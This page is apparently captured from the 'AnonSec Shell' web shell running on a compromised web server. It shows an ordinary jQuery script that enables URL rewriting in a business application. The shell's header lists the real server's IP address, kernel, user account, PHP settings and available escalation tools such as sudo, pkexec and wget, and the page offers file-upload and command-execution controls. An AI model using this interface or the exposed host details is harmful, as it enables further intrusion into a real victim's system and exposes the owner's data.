AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.80
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/public_html/lrsys_apps/dialogo/ui/lib/settings/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/public_html/lrsys_apps/dialogo/ui/lib/settings/url_rewrite.js
$(function() {

    var _url = $("#_url").val();

    var ib_msg = $("#ib_msg");

    //ib_msg.html('Please wait...');

    setTimeout(function(){

        ib_msg.html('Checking the system...<br>');

        $.get( _url + "files/create_htaccess/", function( data ) {


            if(data == 'ok'){


              var ib_ajax =  $.get( _url + "settings/url_rewrite_enable/", function( data ) {

                    ib_msg.append(data);
                    ib_msg.append("<br> Redirecting to dashboard....");
                    ib_msg.append("<br> Please wait....");

                  setTimeout(function () {

                      var n_url = _url.replace('?ng=','');

                      window.open(n_url + 'dashboard/', "_self");

                  },3000);

                    // check if it's working



                    // $.get( _url + "settings/url_rewrite_check/", function( data ) {
                    //
                    //     alert(data);
                    //
                    //     if(data == 'ok'){
                    //
                    //         location.reload();
                    //
                    //     }
                    //     else{
                    //         $.get( "?ng=files/remove_htaccess/", function( resp ) {
                    //             ib_msg.append("<br> Sorry, Unable to enable URL Rewrite. Check the Server supports URL Rewriting. <br>" + data + " <br> " + resp);
                    //         });
                    //     }
                    //
                    // });

                }).fail(function() {

                  ib_msg.append("System, encountered an error. Please remove the .htaccess file from root directory.");

                  $.get( "?ng=files/remove_htaccess/", function( data ) {
                      ib_msg.append("Sorry, Unable to enable URL Rewrite. Check the Server supports URL Rewriting.");
                  });

              });

            }
            else{
                ib_msg.append(data);
            }



        });


    }, 2000);

});

Anon7 - 2022
AnonSec Team